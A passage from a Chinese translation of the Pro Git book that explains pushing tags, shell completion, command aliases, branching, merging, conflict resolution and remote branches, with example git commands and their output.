并不会把标签传送到远端服务器上，只有通过显式命令才能分享标签到远端仓库。其命令格式如同推送分支，运行 `git push origin [tagname]` 即可：\n\n```\n$ git push origin v1.5\nCounting objects: 50, done.\nCompressing objects: 100% (38/38), done.\nWriting objects: 100% (44/44), 4.56 KiB, done.\nTotal 44 (delta 18), reused 8 (delta 1)\nTo git@github.com:schacon/simplegit.git\n* [new tag]         v1.5 -> v1.5\n```\n\n如果要一次推送所有本地新增的标签上去，可以使用 `--tags` 选项：\n\n```\n$ git push origin --tags\nCounting objects: 50, done.\nCompressing objects: 100% (38/38), done.\nWriting objects: 100% (44/44), 4.56 KiB, done.\nTotal 44 (delta 18), reused 8 (delta 1)\nTo git@github.com:schacon/simplegit.git\n * [new tag]         v0.1 -> v0.1\n * [new tag]         v1.2 -> v1.2\n * [new tag]         v1.4 -> v1.4\n * [new tag]         v1.4-lw -> v1.4-lw\n * [new tag]         v1.5 -> v1.5\n```\n\n现在，其他人克隆共享仓库或拉取数据同步后，也会看到这些标签。\n\n\n\n## 技巧和窍门\n\n在结束本章之前，我还想和大家分享一些 Git 使用的技巧和窍门。很多使用 Git 的开发者可能根本就没用过这些技巧，我们也不是说在读过本书后非得用这些技巧不可，但至少应该有所了解吧。说实话，有了这些小窍门，我们的工作可以变得更简单，更轻松，更高效。\n\n### 自动补全\n\n如果你用的是 Bash shell，可以试试看 Git 提供的自动补全脚本。下载 Git 的源代码，进入`contrib/completion` 目录，会看到一个 `git-completion.bash` 文件。将此文件复制到你自己的用户主目录中（译注：按照下面的示例，还应改名加上点：`cp git-completion.bash ~/.git-completion.bash`），并把下面一行内容添加到你的 `.bashrc`文件中：\n\n```shell\nsource ~/.git-completion.bash\n```\n\n也可以为系统上所有用户都设置默认使用此脚本。Mac 上将此脚本复制到 `/opt/local/etc/bash_completion.d` 目录中，Linux 上则复制到 `/etc/bash_completion.d/` 目录中。这两处目录中的脚本，都会在 Bash 启动时自动加载。\n\n如果在 Windows 上安装了 msysGit，默认使用的 Git Bash 就已经配好了这个自动补全脚本，可以直接使用。\n\n在输入 Git 命令的时候可以敲两次跳格键（Tab），就会看到列出所有匹配的可用命令建议：\n\n```shell\n$ git co<tab><tab>\ncommit config\n```\n\n此例中，键入 git co 然后连按两次 Tab 键，会看到两个相关的建议（命令） commit 和 config。继而输入 `m<tab>` 会自动完成 `git commit` 命令的输入。\n\n命令的选项也可以用这种方式自动完成，其实这种情况更实用些。比如运行 `git log` 的时候忘了相关选项的名字，可以输入开头的几个字母，然后敲 Tab 键看看有哪些匹配的：\n\n```shell\n$ git log --s<tab>\n--shortstat  --since=  --src-prefix=  --stat   --summary\n```\n\n### Git 命令别名\n\nGit 并不会推断你输入的几个字符将会是哪条命令，不过如果想偷懒，少敲几个命令的字符，可以用 `git config` 为命令设置别名。来看看下面的例子：\n\n```shell\n$ git config --global alias.co checkout\n$ git config --global alias.br branch\n$ git config --global alias.ci commit\n$ git config --global alias.st status\n```\n\n现在，如果要输入 `git commit` 只需键入 `git ci` 即可。而随着 Git 使用的深入，会有很多经常要用到的命令，遇到这种情况，不妨建个别名提高效率。\n\n使用这种技术还可以创造出新的命令，比方说取消暂存文件时的输入比较繁琐，可以自己设置一下：\n\n```shell\n$ git config --global alias.unstage 'reset HEAD --'\n```\n\n这样一来，下面的两条命令完全等同：\n\n```shell\n$ git unstage fileA\n$ git reset HEAD fileA\n```\n\n显然，使用别名的方式看起来更清楚。另外，我们还经常设置 `last` 命令：\n\n```shell\n$ git config --global alias.last 'log -1 HEAD'\n```\n\n然后要看最后一次的提交信息，就变得简单多了：\n\n```shell\n$ git last\ncommit 66938dae3329c7aebe598c2246a8e6af90d04646\nAuthor: Josh Goebel <dreamer3@example.com>\nDate:   Tue Aug 26 19:48:51 2008 +0800\n\n    test for current head\n\n    Signed-off-by: Scott Chacon <schacon@example.com>\n```\n\n可以看出，实际上 Git 只是简单地在命令中替换了你设置的别名。不过有时候我们希望运行某个外部命令，而非 Git 的子命令，这个好办，只需要在命令前加上 `!` 就行。如果你自己写了些处理 Git 仓库信息的脚本的话，就可以用这种技术包装起来。作为演示，我们可以设置用 `git visual` 启动 `gitk`：\n\n```shell\n$ git config --global alias.visual '!gitk'\n```\n\n\n\n## 何谓分支\n\n为了理解 Git 分支的实现方式，我们需要回顾一下 Git 是如何储存数据的。或许你还记得第一章的内容，Git 保存的不是文件差异或者变化量，而只是一系列文件快照。\n\n在 Git 中提交时，会保存一个提交（commit）对象，该对象包含一个指向暂存内容快照的指针，包含本次提交的作者等相关附属信息，包含零个或多个指向该提交对象的父对象指针：首次提交是没有直接祖先的，普通提交有一个祖先，由两个或多个分支合并产生的提交则有多个祖先。\n\n为直观起见，我们假设在工作目录中有三个文件，准备将它们暂存后提交。暂存操作会对每一个文件计算校验和（即第一章中提到的 SHA-1 哈希字串），然后把当前版本的文件快照保存到 Git 仓库中（Git 使用 blob 类型的对象存储这些快照），并将校验和加入暂存区域：\n\n```shell\n$ git add README test.rb LICENSE\n$ git commit -m 'initial commit of my project'\n```\n\n\n\n当使用 `git commit` 新建一个提交对象前，Git 会先计算每一个子目录（本例中就是项目根目录）的校验和，然后在 Git 仓库中将这些目录保存为树（tree）对象。之后 Git 创建的提交对象，除了包含相关提交信息以外，还包含着指向这个树对象（项目根目录）的指针，如此它就可以在将来需要的时候，重现此次快照的内容了。\n\n现在，Git 仓库中有五个对象：三个表示文件快照内容的 blob 对象；一个记录着目录树内容及其中各个文件对应 blob 对象索引的 tree 对象；以及一个包含指向 tree 对象（根目录）的索引和其他提交信息元数据的 commit 对象。概念上来说，仓库中的各个对象保存的数据和相互关系看起来如下图所示：\n\n![Git树](http://iissnan.com/progit/book_src/figures/18333fig0301-tn.png)\n\n\n\n作些修改后再次提交，那么这次的提交对象会包含一个指向上次提交对象的指针（译注：即下图中的 parent 对象）。两次提交后，仓库历史会变成下图的样子：\n\n![多次提交后的Git的树](http://iissnan.com/progit/book_src/figures/18333fig0302-tn.png)\n\n\n\n现在来谈分支。Git 中的分支，其实本质上仅仅是个指向 commit 对象的可变指针。Git 会使用 master 作为分支的默认名字。在若干次提交后，你其实已经有了一个指向最后一次提交对象的 master 分支，它在每次提交的时候都会自动向前移动。\n\n![master](http://iissnan.com/progit/book_src/figures/18333fig0303-tn.png)\n\n\n\n分支其实就是从某个提交对象往回看的历史\n\n\n\n那么，Git 又是如何创建一个新的分支的呢？答案很简单，创建一个新的分支指针。比如新建一个 testing 分支，可以使用 `git branch` 命令：\n\n```shell\n$ git branch testing\n```\n\n这会在当前 commit 对象上新建一个分支指针（见下图）。\n\n\n\n![多个分支指向提交数据的历史](http://iissnan.com/progit/book_src/figures/18333fig0304-tn.png)\n\n那么，Git 是如何知道你当前在哪个分支上工作的呢？其实答案也很简单，它保存着一个名为 HEAD 的特别指针。请注意它和你熟知的许多其他版本控制系统（比如 Subversion 或 CVS）里的 HEAD 概念大不相同。在 Git 中，它是一个指向你正在工作中的本地分支的指针（译注：将 HEAD 想象为当前分支的别名。）。运行 `git branch` 命令，仅仅是建立了一个新的分支，但不会自动切换到这个分支中去，所以在这个例子中，我们依然还在 master 分支里工作（见下图）\n\n\n\n![HEAD 指向当前所在的分支](http://iissnan.com/progit/book_src/figures/18333fig0305-tn.png)\n\n要切换到其他分支，可以执行 `git checkout` 命令。我们现在转换到新建的 testing 分支：\n\n```shell\n$ git checkout testing\n```\n\n这样 HEAD 就指向了 testing 分支（见下图）。\n\n\n\n![HEAD 在你转换分支时指向新的分支](http://iissnan.com/progit/book_src/figures/18333fig0306-tn.png)\n\n这样的实现方式会给我们带来什么好处呢？好吧，现在不妨再提交一次：\n\n```shell\n$ vim test.rb\n$ git commit -a -m 'made a change'\n```\n\n下图展示了提交后的结果。\n\n\n\n![每次提交后 HEAD 随着分支一起向前移动](http://iissnan.com/progit/book_src/figures/18333fig0307-tn.png)\n\n非常有趣，现在 testing 分支向前移动了一格，而 master 分支仍然指向原先 `git checkout` 时所在的 commit 对象。现在我们回到 master 分支看看:\n\n```shell\n$ git checkout master\n```\n\n\n\n![ HEAD 在一次 checkout 之后移动到了另一个分支](http://iissnan.com/progit/book_src/figures/18333fig0308-tn.png)\n\n\n\n这条命令做了两件事。它把 HEAD 指针移回到 master 分支，并把工作目录中的文件换成了 master 分支所指向的快照内容。也就是说，现在开始所做的改动，将始于本项目中一个较老的版本。它的主要作用是将 testing 分支里作出的修改暂时取消，这样你就可以向另一个方向进行开发。\n\n我们作些修改后再次提交：\n\n```shell\n$ vim test.rb\n$ git commit -a -m 'made other changes'\n```\n\n现在我们的项目提交历史产生了分叉（如图 3-9 所示），因为刚才我们创建了一个分支，转换到其中进行了一些工作，然后又回到原来的主分支进行了另外一些工作。这些改变分别孤立在不同的分支里：我们可以在不同分支里反复切换，并在时机成熟时把它们合并到一起。而所有这些工作，仅仅需要 `branch` 和 `checkout` 这两条命令就可以完成。\n\n![不同流向的分支历史](http://iissnan.com/progit/book_src/figures/18333fig0309-tn.png)\n\n由于 Git 中的分支实际上仅是一个包含所指对象校验和（40 个字符长度 SHA-1 字串）的文件，所以创建和销毁一个分支就变得非常廉价。说白了，新建一个分支就是向一个文件写入 41 个字节（外加一个换行符）那么简单，当然也就很快了。\n\n这和大多数版本控制系统形成了鲜明对比，它们管理分支大多采取备份所有项目文件到特定目录的方式，所以根据项目文件数量和大小不同，可能花费的时间也会有相当大的差别，快则几秒，慢则数分钟。而 Git 的实现与项目复杂度无关，它永远可以在几毫秒的时间内完成分支的创建和切换。同时，因为每次提交时都记录了祖先信息（译注：即 `parent` 对象），将来要合并分支时，寻找恰当的合并基础（译注：即共同祖先）的工作其实已经自然而然地摆在那里了，所以实现起来非常容易。Git 鼓励开发者频繁使用分支，正是因为有着这些特性作保障。\n\n接下来看看，我们为什么应该频繁使用分支。\n\n\n\n## 分支的新建与合并\n\n现在让我们来看一个简单的分支与合并的例子，实际工作中大体也会用到这样的工作流程：\n\n1. 开发某个网站。\n2. 为实现某个新的需求，创建一个分支。\n3. 在这个分支上开展工作。\n\n假设此时，你突然接到一个电话说有个很严重的问题需要紧急修补，那么可以按照下面的方式处理：\n\n1. 返回到原先已经发布到生产服务器上的分支。\n2. 为这次紧急修补建立一个新分支，并在其中修复问题。\n3. 通过测试后，回到生产服务器所在的分支，将修补分支合并进来，然后再推送到生产服务器上。\n4. 切换到之前实现新需求的分支，继续工作。\n\n### 分支的新建与切换\n\n首先，我们假设你正在项目中愉快地工作，并且已经提交了几次更新（见下图）。\n\n![剪短的提交历史](http://iissnan.com/progit/book_src/figures/18333fig0310-tn.png)\n\n现在，你决定要修补问题追踪系统上的 #53 问题。顺带说明下，Git 并不同任何特定的问题追踪系统打交道。这里为了说明要解决的问题，才把新建的分支取名为 iss53。要新建并切换到该分支，运行 `git checkout` 并加上 `-b` 参数：\n\n```shell\n$ git checkout -b iss53\nSwitched to a new branch 'iss53'\n```\n\n这相当于执行下面这两条命令：\n\n```shell\n$ git branch iss53\n$ git checkout iss53\n```\n\n\n\n![创建新的指针分支](http://iissnan.com/progit/book_src/figures/18333fig0311-tn.png)\n\n接着你开始尝试修复问题，在提交了若干次更新后，`iss53` 分支的指针也会随着向前推进，因为它就是当前分支（换句话说，当前的 `HEAD` 指针正指向 `iss53`，见图 3-12）：\n\n```\n$ vim index.html\n$ git commit -a -m 'added a new footer [issue 53]'\n```\n\n\n\n![iss53 分支随工作进展向前推进](http://iissnan.com/progit/book_src/figures/18333fig0312-tn.png)\n\n\n\n现在你就接到了那个网站问题的紧急电话，需要马上修补。有了 Git ，我们就不需要同时发布这个补丁和 `iss53` 里作出的修改，也不需要在创建和发布该补丁到服务器之前花费大力气来复原这些修改。唯一需要的仅仅是切换回 `master` 分支。\n\n不过在此之前，留心你的暂存区或者工作目录里，那些还没有提交的修改，它会和你即将检出的分支产生冲突从而阻止 Git 为你切换分支。切换分支的时候最好保持一个清洁的工作区域。稍后会介绍几个绕过这种问题的办法（分别叫做 stashing 和 commit amending）。目前已经提交了所有的修改，所以接下来可以正常转换到 `master` 分支：\n\n```shell\n$ git checkout master\nSwitched to branch 'master'\n```\n\n此时工作目录中的内容和你在解决问题 #53 之前一模一样，你可以集中精力进行紧急修补。这一点值得牢记：Git 会把工作目录的内容恢复为检出某分支时它所指向的那个提交对象的快照。它会自动添加、删除和修改文件以确保目录的内容和你当时提交时完全一样。\n\n接下来，你得进行紧急修补。我们创建一个紧急修补分支 `hotfix` 来开展工作，直到搞定（见下图）：\n\n```Shell\n$ git checkout -b hotfix\nSwitched to a new branch 'hotfix'\n$ vim index.html\n$ git commit -a -m 'fixed the broken email address'\n[hotfix 3a0874c] fixed the broken email address\n 1 files changed, 1 deletion(-)\n```\n\n![ hotfix 分支是从 master 分支所在点分化出来的](http://iissnan.com/progit/book_src/figures/18333fig0313-tn.png)\n\n\n\n有必要作些测试，确保修补是成功的，然后回到 `master` 分支并把它合并进来，然后发布到生产服务器。用 `git merge` 命令来进行合并：\n\n```Shell\n$ git checkout master\n$ git merge hotfix\nUpdating f42c576..3a0874c\nFast-forward\n README | 1 -\n 1 file changed, 1 deletion(-)\n```\n\n\n\n请注意，合并时出现了“Fast forward”的提示。由于当前 `master` 分支所在的提交对象是要并入的 `hotfix` 分支的直接上游，Git 只需把 `master` 分支指针直接右移。换句话说，如果顺着一个分支走下去可以到达另一个分支的话，那么 Git 在合并两者时，只会简单地把指针右移，因为这种单线的历史分支不存在任何需要解决的分歧，所以这种合并过程可以称为快进（Fast forward）。\n\n现在最新的修改已经在当前 `master` 分支所指向的提交对象中了，可以部署到生产服务器上去了（见下图）。\n\n![合并之后，master 分支和 hotfix 分支指向同一位置](http://iissnan.com/progit/book_src/figures/18333fig0314-tn.png)\n\n在那个超级重要的修补发布以后，你想要回到被打扰之前的工作。由于当前 `hotfix` 分支和 `master` 都指向相同的提交对象，所以 `hotfix` 已经完成了历史使命，可以删掉了。使用 `git branch` 的 `-d` 选项执行删除操作：\n\n```shell\n$ git branch -d hotfix\nDeleted branch hotfix (was 3a0874c).\n```\n\n现在回到之前未完成的 #53 问题修复分支上继续工作（图 3-15）：\n\n```shell\n$ git checkout iss53\nSwitched to branch 'iss53'\n$ vim index.html\n$ git commit -a -m 'finished the new footer [issue 53]'\n[iss53 ad82d7a] finished the new footer [issue 53]\n 1 file changed, 1 insertion(+)\n```\n\n\n\n![iss53 分支可以不受影响继续推进。](http://iissnan.com/progit/book_src/figures/18333fig0315-tn.png)\n\n值得注意的是之前 `hotfix` 分支的修改内容尚未包含到 `iss53` 中来。如果需要纳入此次修补，可以用 `git merge master` 把 master 分支合并到 `iss53`；或者等 `iss53` 完成之后，再将 `iss53` 分支中的更新并入 `master`。\n\n### 分支的合并\n\n在问题 #53 相关的工作完成之后，可以合并回 `master` 分支。实际操作同前面合并 `hotfix` 分支差不多，只需回到 `master` 分支，运行 `git merge` 命令指定要合并进来的分支：\n\n```shell\n$ git checkout master\n$ git merge iss53\nAuto-merging README\nMerge made by the 'recursive' strategy.\n README | 1 +\n 1 file changed, 1 insertion(+)\n```\n\n请注意，这次合并操作的底层实现，并不同于之前 `hotfix` 的并入方式。因为这次你的开发历史是从更早的地方开始分叉的。由于当前 `master` 分支所指向的提交对象（C4）并不是 `iss53` 分支的直接祖先，Git 不得不进行一些额外处理。就此例而言，Git 会用两个分支的末端（C4 和 C5）以及它们的共同祖先（C2）进行一次简单的三方合并计算。图 3-16 用红框标出了 Git 用于合并的三个提交对象：\n\n![Git 为分支合并自动识别出最佳的同源合并点。](http://iissnan.com/progit/book_src/figures/18333fig0316-tn.png)\n\n这次，Git 没有简单地把分支指针右移，而是对三方合并后的结果重新做一个新的快照，并自动创建一个指向它的提交对象（C6）（见图 3-17）。这个提交对象比较特殊，它有两个祖先（C4 和 C5）。\n\n值得一提的是 Git 可以自己裁决哪个共同祖先才是最佳合并基础；这和 CVS 或 Subversion（1.5 以后的版本）不同，它们需要开发者手工指定合并基础。所以此特性让 Git 的合并操作比其他系统都要简单不少。\n\n![Git 自动创建了一个包含了合并结果的提交对象。](http://iissnan.com/progit/book_src/figures/18333fig0317-tn.png)\n\n既然之前的工作成果已经合并到 `master` 了，那么 `iss53` 也就没用了。你可以就此删除它，并在问题追踪系统里关闭该问题。\n\n```shell\n$ git branch -d iss53\n```\n\n\n\n### 遇到冲突时的分支合并\n\n有时候合并操作并不会如此顺利。如果在不同的分支中都修改了同一个文件的同一部分，Git 就无法干净地把两者合到一起（译注：逻辑上说，这种问题只能由人来裁决。）。如果你在解决问题 #53 的过程中修改了 `hotfix` 中修改的部分，将得到类似下面的结果：\n\n```shell\n$ git merge iss53\nAuto-merging index.html\nCONFLICT (content): Merge conflict in index.html\nAutomatic merge failed; fix conflicts and then commit the result.\n```\n\n\n\nGit 作了合并，但没有提交，它会停下来等你解决冲突。要看看哪些文件在合并时发生冲突，可以用 `git status` 查阅：\n\n```shell\n$ git status\nOn branch master\nYou have unmerged paths.\n  (fix conflicts and run \"git commit\")\n\nUnmerged paths:\n  (use \"git add <file>...\" to mark resolution)\n\n        both modified:      index.html\n\nno changes added to commit (use \"git add\" and/or \"git commit -a\")\n```\n\n任何包含未解决冲突的文件都会以未合并（unmerged）的状态列出。Git 会在有冲突的文件里加入标准的冲突解决标记，可以通过它们来手工定位并解决这些冲突。可以看到此文件包含类似下面这样的部分：\n\n```\n<<<<<<< HEAD\n<div id=\"footer\">contact : email.support@github.com</div>\n=======\n<div id=\"footer\">\n  please contact us at support@github.com\n</div>\n>>>>>>> iss53\n```\n\n可以看到 `=======` 隔开的上半部分，是 `HEAD`（即 `master` 分支，在运行 `merge` 命令时所切换到的分支）中的内容，下半部分是在 `iss53` 分支中的内容。解决冲突的办法无非是二者选其一或者由你亲自整合到一起。比如你可以通过把这段内容替换为下面这样来解决：\n\n```\n<div id=\"footer\">\nplease contact us at email.support@github.com\n</div>\n```\n\n这个解决方案各采纳了两个分支中的一部分内容，而且我还删除了 `<<<<<<<`，`=======` 和 `>>>>>>>` 这些行。在解决了所有文件里的所有冲突后，运行 `git add` 将把它们标记为已解决状态（译注：实际上就是来一次快照保存到暂存区域。）。因为一旦暂存，就表示冲突已经解决。如果你想用一个有图形界面的工具来解决这些问题，不妨运行 `git mergetool`，它会调用一个可视化的合并工具并引导你解决所有冲突：\n\n```\n$ git mergetool\n\nThis message is displayed because 'merge.tool' is not configured.\nSee 'git mergetool --tool-help' or 'git help config' for more details.\n'git mergetool' will now attempt to use one of the following tools:\nopendiff kdiff3 tkdiff xxdiff meld tortoisemerge gvimdiff diffuse diffmerge ecmerge p4merge araxis bc3 codecompare vimdiff emerge\nMerging:\nindex.html\n\nNormal merge conflict for 'index.html':\n  {local}: modified file\n  {remote}: modified file\nHit return to start merge resolution tool (opendiff):\n```\n\n如果不想用默认的合并工具（Git 为我默认选择了 `opendiff`，因为我在 Mac 上运行了该命令），你可以在上方\"merge tool candidates\"里找到可用的合并工具列表，输入你想用的工具名。我们将在第七章讨论怎样改变环境中的默认值。\n\n退出合并工具以后，Git 会询问你合并是否成功。如果回答是，它会为你把相关文件暂存起来，以表明状态为已解决。\n\n再运行一次 `git status` 来确认所有冲突都已解决：\n\n```\n$ git status\nOn branch master\nChanges to be committed:\n  (use \"git reset HEAD <file>...\" to unstage)\n\n        modified:   index.html\n```\n\n如果觉得满意了，并且确认所有冲突都已解决，也就是进入了暂存区，就可以用 `git commit` 来完成这次合并提交。提交的记录差不多是这样：\n\n```\nMerge branch 'iss53'\n\nConflicts:\n  index.html\n#\n# It looks like you may be committing a merge.\n# If this is not correct, please remove the file\n#       .git/MERGE_HEAD\n# and try again.\n#\n```\n\n如果想给将来看这次合并的人一些方便，可以修改该信息，提供更多合并细节。比如你都作了哪些改动，以及这么做的原因。有时候裁决冲突的理由并不直接或明显，有必要略加注解。\n\n\n\n## 分支的管理\n\n到目前为止，你已经学会了如何创建、合并和删除分支。除此之外，我们还需要学习如何管理分支，在日后的常规工作中会经常用到下面介绍的管理命令。\n\n`git branch` 命令不仅仅能创建和删除分支，如果不加任何参数，它会给出当前所有分支的清单：\n\n```\n$ git branch\n  iss53\n* master\n  testing\n```\n\n注意看 `master` 分支前的 `*` 字符：它表示当前所在的分支。也就是说，如果现在提交更新，`master` 分支将随着开发进度前移。若要查看各个分支最后一个提交对象的信息，运行 `git branch -v`：\n\n```\n$ git branch -v\n  iss53   93b412c fix javascript issue\n* master  7a98805 Merge branch 'iss53'\n  testing 782fd34 add scott to the author list in the readmes\n```\n\n要从该清单中筛选出你已经（或尚未）与当前分支合并的分支，可以用 `--merged` 和 `--no-merged` 选项（Git 1.5.6 以上版本）。比如用 `git branch --merged` 查看哪些分支已被并入当前分支（译注：也就是说哪些分支是当前分支的直接上游。）：\n\n```\n$ git branch --merged\n  iss53\n* master\n```\n\n之前我们已经合并了 `iss53`，所以在这里会看到它。一般来说，列表中没有 `*` 的分支通常都可以用 `git branch -d` 来删掉。原因很简单，既然已经把它们所包含的工作整合到了其他分支，删掉也不会损失什么。\n\n另外可以用 `git branch --no-merged` 查看尚未合并的工作：\n\n```\n$ git branch --no-merged\n  testing\n```\n\n它会显示还未合并进来的分支。由于这些分支中还包含着尚未合并进来的工作成果，所以简单地用 `git branch -d` 删除该分支会提示错误，因为那样做会丢失数据：\n\n```\n$ git branch -d testing\nerror: The branch 'testing' is not fully merged.\nIf you are sure you want to delete it, run 'git branch -D testing'.\n```\n\n不过，如果你确实想要删除该分支上的改动，可以用大写的删除选项 `-D` 强制执行，就像上面提示信息中给出的那样。\n\n\n\n## 利用分支进行开发的工作流程\n\n现在我们已经学会了新建分支和合并分支，可以（或应该）用它来做点什么呢？在本节，我们会介绍一些利用分支进行开发的工作流程。而正是由于分支管理的便捷，才衍生出了这类典型的工作模式，你可以根据项目的实际情况选择一种用用看。\n\n### 长期分支\n\n由于 Git 使用简单的三方合并，所以就算在较长一段时间内，反复多次把某个分支合并到另一分支，也不是什么难事。也就是说，你可以同时拥有多个开放的分支，每个分支用于完成特定的任务，随着开发的推进，你可以随时把某个特性分支的成果并到其他分支中。\n\n许多使用 Git 的开发者都喜欢用这种方式来开展工作，比如仅在 `master` 分支中保留完全稳定的代码，即已经发布或即将发布的代码。与此同时，他们还有一个名为 `develop` 或 `next` 的平行分支，专门用于后续的开发，或仅用于稳定性测试 — 当然并不是说一定要绝对稳定，不过一旦进入某种稳定状态，便可以把它合并到 `master` 里。这样，在确保这些已完成的特性分支（短期分支，比如之前的 `iss53` 分支）能够通过所有测试，并且不会引入更多错误之后，就可以并到主干分支中，等待下一次的发布。\n\n本质上我们刚才谈论的，是随着提交对象不断右移的指针。稳定分支的指针总是在提交历史中落后一大截，而前沿分支总是比较靠前（见图 3-18）。\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0318-tn.png)\n图 3-18. 稳定分支总是比较老旧。\n\n或者把它们想象成工作流水线，或许更好理解一些，经过测试的提交对象集合被遴选到更稳定的流水线（见图 3-19）。\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0319-tn.png)\n图 3-19. 想象成流水线可能会容易点。\n\n你可以用这招维护不同层次的稳定性。某些大项目还会有个 `proposed`（建议）或 `pu`（proposed updates，建议更新）分支，它包含着那些可能还没有成熟到进入 `next` 或 `master` 的内容。这么做的目的是拥有不同层次的稳定性：当这些分支进入到更稳定的水平时，再把它们合并到更高层分支中去。再次说明下，使用多个长期分支的做法并非必需，不过一般来说，对于特大型项目或特复杂的项目，这么做确实更容易管理。\n\n### 特性分支\n\n在任何规模的项目中都可以使用特性（Topic）分支。一个特性分支是指一个短期的，用来实现单一特性或与其相关工作的分支。可能你在以前的版本控制系统里从未做过类似这样的事情，因为通常创建与合并分支消耗太大。然而在 Git 中，一天之内建立、使用、合并再删除多个分支是常见的事。\n\n我们在上节的例子里已经见过这种用法了。我们创建了 `iss53` 和 `hotfix` 这两个特性分支，在提交了若干更新后，把它们合并到主干分支，然后删除。该技术允许你迅速且完全的进行语境切换 — 因为你的工作分散在不同的流水线里，每个分支里的改变都和它的目标特性相关，浏览代码之类的事情因而变得更简单了。你可以把作出的改变保持在特性分支中几分钟，几天甚至几个月，等它们成熟以后再合并，而不用在乎它们建立的顺序或者进度。\n\n现在我们来看一个实际的例子。请看图 3-20，由下往上，起先我们在 `master` 工作到 C1，然后开始一个新分支 `iss91` 尝试修复 91 号缺陷，提交到 C6 的时候，又冒出一个解决该问题的新办法，于是从之前 C4 的地方又分出一个分支 `iss91v2`，干到 C8 的时候，又回到主干 `master` 中提交了 C9 和 C10，再回到 `iss91v2` 继续工作，提交 C11，接着，又冒出个不太确定的想法，从 `master` 的最新提交 C10 处开了个新的分支 `dumbidea` 做些试验。\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0320-tn.png)\n图 3-20. 拥有多个特性分支的提交历史。\n\n现在，假定两件事情：我们最终决定使用第二个解决方案，即 `iss91v2` 中的办法；另外，我们把 `dumbidea` 分支拿给同事们看了以后，发现它竟然是个天才之作。所以接下来，我们准备抛弃原来的 `iss91` 分支（实际上会丢弃 C5 和 C6），直接在主干中并入另外两个分支。最终的提交历史将变成图 3-21 这样：\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0321-tn.png)\n图 3-21. 合并了 dumbidea 和 iss91v2 后的分支历史。\n\n请务必牢记这些分支全部都是本地分支，这一点很重要。当你在使用分支及合并的时候，一切都是在你自己的 Git 仓库中进行的 — 完全不涉及与服务器的交互。\n\n\n\n## 远程分支\n\n远程分支（remote branch）是对远程仓库中的分支的索引。它们是一些无法移动的本地分支；只有在 Git 进行网络交互时才会更新。远程分支就像是书签，提醒着你上次连接远程仓库时上面各分支的位置。\n\n我们用 `(远程仓库名)/(分支名)` 这样的形式表示远程分支。比如我们想看看上次同 `origin` 仓库通讯时 `master` 分支的样子，就应该查看 `origin/master` 分支。如果你和同伴一起修复某个问题，但他们先推送了一个 `iss53` 分支到远程仓库，虽然你可能也有一个本地的 `iss53` 分支，但指向服务器上最新更新的却应该是 `origin/iss53` 分支。\n\n可能有点乱，我们不妨举例说明。假设你们团队有个地址为 `git.ourcompany.com` 的 Git 服务器。如果你从这里克隆，Git 会自动为你将此远程仓库命名为 `origin`，并下载其中所有的数据，建立一个指向它的 `master` 分支的指针，在本地命名为 `origin/master`，但你无法在本地更改其数据。接着，Git 建立一个属于你自己的本地 `master`分支，始于 `origin` 上 `master` 分支相同的位置，你可以就此开始工作（见图 3-22）：\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0322-tn.png)\n图 3-22. 一次 Git 克隆会建立你自己的本地分支 master 和远程分支 origin/master，并且将它们都指向 `origin` 上的 `master` 分支。\n\n如果你在本地 `master` 分支做了些改动，与此同时，其他人向 `git.ourcompany.com` 推送了他们的更新，那么服务器上的 `master` 分支就会向前推进，而与此同时，你在本地的提交历史正朝向不同方向发展。不过只要你不和服务器通讯，你的 `origin/master` 指针仍然保持原位不会移动（见图 3-23）。\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0323-tn.png)\n图 3-23. 在本地工作的同时有人向远程仓库推送内容会让提交历史开始分流。\n\n可以运行 `git fetch origin` 来同步远程服务器上的数据到本地。该命令首先找到 `origin` 是哪个服务器（本例为 `git.ourcompany.com`），从上面获取你尚未拥有的数据，更新你本地的数据库，然后把 `origin/master` 的指针移到它最新的位置上（见图 3-24）。\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0324-tn.png)\n图 3-24. `git fetch` 命令会更新 remote 索引。\n\n为了演示拥有多个远程分支（在不同的远程服务器上）的项目是如何工作的，我们假设你还有另一个仅供你的敏捷开发小组使用的内部服务器 `git.team1.ourcompany.com`。可以用第二章中提到的 `git remote add` 命令把它加为当前项目的远程分支之一。我们把它命名为 `teamone`，以便代替完整的 Git URL 以方便使用（见图 3-25）。\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0325-tn.png)\n图 3-25. 把另一个服务器加为远程仓库\n\n现在你可以用 `git fetch teamone` 来获取小组服务器上你还没有的数据了。由于当前该服务器上的内容是你 `origin` 服务器上的子集，Git 不会下载任何数据，而只是简单地创建一个名为 `teamone/master` 的远程分支，指向 `teamone` 服务器上 `master` 分支所在的提交对象 `31b8e`（见图 3-26）。\n\n![img](http://iissnan.com/progit/book_src/figures/18333fig0326-tn.png)\n图 3-26. 你在本地有了一个指向 teamone 服务器上 master 分支的索引。\n\n### 推送本地分支\n\n要想和其他人分享某个本地分支，你需要把它推送到一个你拥有写权限的远程仓库。你创建的本地分支不会因为你的写入操作而被自动同步到你引入的远程服务器上，你需要明确地执行推送分支的操作。换句话说，对于无意分享的分支，你尽管保留为私人分支好了，而只推送那些协同工作要用到的特性分支。\n\n如果你有个叫 `serverfix` 的分支需要和他人一起开发，可以运行 `git push (远程仓库名) (分支名)`：\n\n```\n$ git push origin serverfix\nCounting objects: 20, done.\nCompressing objects: 100% (14/14), done.\nWriting objects: 100% (15/15), 1.74 KiB, done.\nTotal 15 (delta 5), reused 0 (delta 0)\nTo git@github.com:schacon/simplegit.git\n * [new branch]      serverfix -> serverfix\n```\n\n这里其实走了一点捷径。Git 自动把 `serverfix` 分支名扩展为 `refs/heads/serverfix:refs/heads/serverfix`，意为“取出我在本地的 serverfix 分支，推送到远程仓库的 serverfix 分支中去”。我们将在第九章进一步介绍 `refs/heads/` 部分的细节，不过一般使用的时候都可以省略它。也可以运行 `git push origin serverfix:serverfix` 来实现相同的效果，它的意思是“上传我本地的 serverfix 分支到远程仓库中去，仍旧称它为 serverfix 分支”。通过此语法，你可以把本地分支推送到某个命名不同的远程分支：若想把远程分支叫作 `awesomebranch`，可以用 `git push origin serverfix:awesomebranch` 来推送数据。\n\n接下来，当你的协作者再次从服务器上获取数据时，他们将得到一个新的远程分支 